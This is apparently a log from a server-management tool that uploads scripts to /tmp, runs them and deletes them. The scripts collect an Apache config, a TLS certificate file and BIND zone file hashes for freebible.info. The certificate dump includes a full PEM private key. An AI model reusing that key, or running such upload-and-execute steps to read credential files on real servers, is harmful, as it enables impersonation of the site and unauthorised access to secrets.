    show_file('/etc/apache2/sites-enabled/freebible_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-15 06:00:13: 

chmod 755 /tmp/pkp654568; /tmp/pkp654568; rm /tmp/pkp654568

2026-03-15 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/freebible_www_info.conf	1381

<VirtualHost *:80>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_error.log
    SetEnv pkp_uid	63
    SetEnv pkp_owner	freebible
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	freebible.info
    ServerAlias	www.freebible.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt
    DocumentRoot	/var/www/freebible_www
    <Directory /var/www/freebible_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/freebible/www_secure_access.log combined
    ErrorLog	/var/log/apache2/freebible/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-15 06:00:13: 

PUT: /tmp/pkp234432

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-15 06:00:13: 

chmod 755 /tmp/pkp234432; /tmp/pkp234432; rm /tmp/pkp234432

2026-03-15 06:00:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt	5365
b1:00:c5:7e:1f:b2:63:ca:79:39:4d:5e:10:91:de:b1

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBdr/kUtVpmwrFoTxpvwUBjLQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzE1MDUwMTQwWhcNMjYwNjEzMDUwMTM5WjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMg2U/fPH6yK25FBlTj4ovtL/YWH8BXZw+dcOQ0Kmt78EHxnqsN4gNKgVrBVWg24
8w0lnTxoQKIB3tDNrvr2Eo+yOGf6Kb1b5tT/KWd5jSaE94irOpnVnV/wfXAAyTSW
BDwJt67xxSZaCBHatxnjEfiYg31pS6wBUVDM4jy9VEfyqqvrt25qQ76GI5UtU+kd
CO4Wn7Y1m4eEHKVbAP/YE6KqFLK3R+ExTOuAv058lg3i7pF7Oc8FOmc5eZbvtjEh
8BqnkT4fydUL3YVayVYj4Jj5xYMHI+LHJ0ZDYu4IanIbjrc8vSDtqvEgENTTf3FJ
qmVmNk7Yq/41IDxX8QgINQMCAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRvZeIy
lfQFd7iQ1DIx/spS/tfi3jAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmZyZWViaWJsZS5pbmZvghJ3d3cuZnJlZWJpYmxl
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy84MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdQAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZzwFKTDAAAE
AwBGMEQCIAC/Dv4T1hlPY7mwRyYamIBT5joFJxYTZE3kSEcA374bAiAgR45QU6lI
f6YPuEOv44b2FIdAzOiyt0HHWOSnJ50PawB+ABqLnWlKV5jImaDKiL30j8C0VmDM
w2ANH3H0af/H0ayjAAABnPAUpxQACAAABQBW39/NBAMARzBFAiBDtt/SwsweSwCF
ZFSFvdg1tViuJZ15F4BeIjkM8me9fQIhAMrNfCFyMJ5Ej4tzNBT1VzTw1iWnIuLv
gO0IBwmilje9MA0GCSqGSIb3DQEBCwUAA4IBAQBARBVpqraObP+Fv01+lHG75ezt
kv8m+/8MoQZ7ynEad4Zf++csZB6MfG6241L5LPFewpAtKXPgDfywghV6Bny+q/zt
00qe/j+C73foqt+gO+E1HMVQMLsVw5Bw6bsh/f2ppSW40PaG0gRH11UhlP1bgPfp
0soELi1KYZ8rqF9L0Z+3nRhvhppQ4Y1s2nycSaT9yvDJ1LdFTVXTl98BU9N+5IQw
V5978343hUAG0HSKZ+aZR0eisaYJmEOhE5mskuFw6cyCFU5KIngH9GSh6jPzti3g
Da3bNeodoyh1ZbVOBy1CMi+YO2tqRKRch2WOk+niqgRH5Ch8ou9WplxGrv+o
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDINlP3zx+situR
QZU4+KL7S/2Fh/AV2cPnXDkNCpre/BB8Z6rDeIDSoFawVVoNuPMNJZ08aECiAd7Q
za769hKPsjhn+im9W+bU/ylneY0mhPeIqzqZ1Z1f8H1wAMk0lgQ8Cbeu8cUmWggR
2rcZ4xH4mIN9aUusAVFQzOI8vVRH8qqr67duakO+hiOVLVPpHQjuFp+2NZuHhByl
WwD/2BOiqhSyt0fhMUzrgL9OfJYN4u6ReznPBTpnOXmW77YxIfAap5E+H8nVC92F
WslWI+CY+cWDByPixydGQ2LuCGpyG463PL0g7arxIBDU039xSaplZjZO2Kv+NSA8
V/EICDUDAgMBAAECggEAO4p8mjvMraF1/tLEL/cxcQ5+TNHKgpUKf6mbhddbi2jm
9jhWPl994CWy4inf6CjSj1xaUHaokgWAYBRrL1My3e0gfTuWYiwMj9d6Vr19TrFI
dCqH+OvgK4H3q/Fv5OWgSMKTD8Hy4Z7wu26R+W7gD1A7+nXv/S0/I4pq1alwgRyQ
4KH3OIWiz9V8sPKRj2jmfZPl+DlDDtG6Hb7QRcm2EfhSLVA6jD2FA9ZIey7WQz2v
04aGcHpiGSWM9hJsNANN0MYcwP7Dfp48cgYGMzOp78v61W1drHuK3rwu6irwznxE
B2suOsjCErXrwQQBOPzcslU0TlUBnJ/SZRaqWSe0cQKBgQDwqx3CemcHvKNdYPTn
HkxsFKvu2m6/TtEMpOgttxQW4pFYL+jYPVQp3xhFMLUAGo2pscdb1owx7SUBWdXX
r/FEUqZsf0rrrfQ22BANOEYD4v5tD4yA/bj6RwjB5Y8+89frgpk3sE5PMUg9Nz4a
XIvTJ36so1LIGfjuANJ68ehlVQKBgQDU93D9WmbA4ywjnS2lzFUeiZPV3wShUsZv
+PnGApKaDwGXNmiCwibwVGxO6M1fVZv/87c0LNgYo5dK0rCaJQq2mnrOOWMIsRd0
BnIcRkw7tbhgE7+852dYIOSm/eNx7ijqD0RgWOoBkmVxAywg2FiTFQDn9W3hWSTA
Bn6qLpSw9wKBgEbVhl/MGPD9A3QjalFv6HxTJTuazMe/0eWPz8pMvTvzGWZES5sB
ifj88a7DpDJQnmtYqN2N6xtyudaI81iVL0S1ssfyO0HcpClUNH0/l9PjBpFg5zC7
/KqlJ52yDBQyPtXRTXlHifTjA2kJDl1B6eGPGUiElYPRqSOb2FdZRdY1AoGACFrI
sPe57jk7Qw5oewegEzmcdhhwqw9/P2dKDS2OqMKL8m2s/ew18NmvAg15+RJ3szvR
ZReZRqYsSkAns3RejjlTNgHkU7P20pNqKJfNZ85CNGqx6+w8DqYDslVlddO9ASmm
Kg1y6KrgleVk9sjl+KcrSO5E6EFCAtJ+Z5i6NpMCgYEAxMDIQOEllJZGx9S5C1/f
k++e8LMxLiqHZnvts8+0Z0Oyk53ErVX/xfOocLIvB2EvGVoTrnMx+TUpJ+9vhRoW
xz7usLzr/pfjQyCx2d7kQmj9yq7R0xQA4lmKQRiGIYd5vFxKBBpNajfKvKp9VwSw
3O6rMXxr1fSn4FP9LnczjBk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-15 19:11:53: Establishing a connection
2026-03-15 19:12:02: Establishing a connection
2026-03-15 19:12:02: 

PUT: /tmp/pkp548196

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-15 19:12:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp548196; rm /tmp/pkp548196'

2026-03-15 19:12:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
